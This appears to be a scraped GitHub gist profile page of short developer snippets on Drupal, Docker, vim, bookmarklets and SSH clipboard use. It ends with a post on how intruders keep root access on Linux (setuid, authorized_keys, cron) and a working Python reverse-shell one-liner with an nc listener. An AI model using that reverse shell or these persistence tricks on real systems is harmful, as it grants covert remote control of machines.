Alex Dergachev dergachev

View Makefile
1 2 3 4 5 6 7 8 9
# Utilities
num_items_to_index = $(shell drush sqlq "SELECT COUNT(*) FROM search_api_item;" --extra=--skip-column-names)
index_name = coursecal_content
index_id = $(shell drush php-eval 'print search_api_index_load("$(index_name)")->id')

When debugging Drupal, I often stick dpm($some_array, "my array"); calls to see what the value of $some_array is. This fails spectacularly if the code I'm debugging is run very late in the request after drupal_get_messages() has already been called. (Eg most hook_preprocess_THEMEHOOK functions).

In that case, I've found it useful to add these helper functions somewhere (any enabled custom module, or even index.php), use them instead of dpm. They'll serialize objects to apache's error_log (wherever that is), which you can track by opening a terminal tab and running:

tail -f /var/log/apache2/error.log | tr '%' "\n"

If you're using docker, you probably have a Dockerfile that starts like this:

FROM ubuntu:12.04
RUN apt-get update

# install all my favorite utilities, putting it early to facilitate docker caching
RUN apt-get install -y curl git vim make build-essential

# install all pre-requisite packages for our dockerized application

Vim and clipboard support

I generally prefer to use the terminal version of vim, rather than macvim. The major downside is no direct OSX clipboard integration. I tried running brew install vim but even that doesn't seem to compile with +clipboard support. I really wish "+yy and +"p would just work!

Turns out that there's a great little plugin for that, fakeclip!

There are different ways to install vim plugins into ~/.vim/, but these days all the cool kids are using vundle. Here's how to install vundle, then use it to install fakeclip.

Installing vundle


Side-By-Side Diff Bookmarklet

Currently hardcodes these domain pairs, tweak it for your use-case:

var urls = {prod: "", dev: ""}; 

Activating the bookmarklet once on either site displays the same page side-by-side with its complement, as follows:


Exposing your clipboard over SSH

I frequently administer remote servers over SSH, and need to copy data to my clipboard. If the text I want to copy all fits on one screen, then I simply select it with my mouse and press CMD-C, which asks relies on m y terminal emulator (xterm2) to throw it to the clipboard.

This isn't practical for larger texts, like when I want to copy the whole contents of a file.

If I had been editing large-file.txt locally, I could easily copy its contents by using the pbcopy command:

View convert-roman.rb
1 2 3 4 5 6 7 8 9 10
def to_roman(i)
if i > 999 or i < 1
raise "Input not supported"
i_ones = i % 10
i_tens = (i % 100)/10
i_hundreds = i/100
return HUNDREDS[i_hundreds] + TENS[i_tens] + ONES[i_ones]
View command.js
1 2 3 4 5 6 7 8 9 10
(function () { /* v2.2 -- */
function ls(u, c) {
var h = document.getElementsByTagName("head")[0];
var s = document.createElement("script");
s.src = u;
var d = false;
s.onload = s.onreadystatechange = function () {
if (!d && (!this.readyState || this.readyState == "loaded" || this.readyState == "complete")) {
d = true;

Why You Can't Un-Root a Compromised Machine

Let's say somebody temporarily got root access to your system, whether because you "temporarily" gave them sudo rights, they guessed your password, or any other way. Even if you can disable their original method of accessing root, there's an infinite number of dirty tricks they can use to easily get it back in the future.

While the obvious tricks are easy to spot, like adding an entry to /root/.ssh/authorized_keys, or creating a new user, potentially via running malware, or via a cron job. I recently came across a rather subtle one that doesn't require changing any code, but instead exploits a standard feature of Linux user permissions system called setuid to subtly allow them to execute a root shell from any user account from the system (including www-data, which you might not even know if compromised).

If the "setuid bit" (or flag, or permission mode) is set for executable, the operating system will run not as the cur

1 2 3 4 5 6 7 8 9 10
# on the CLIENT, run the following:
# nc -l 12345
# on the SERVER, start the "reverse shell"
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 12345
# now go to the CLIENT, listen on port 12345 for incoming shell connections
nc -l 12345
Something went wrong with that request. Please try again.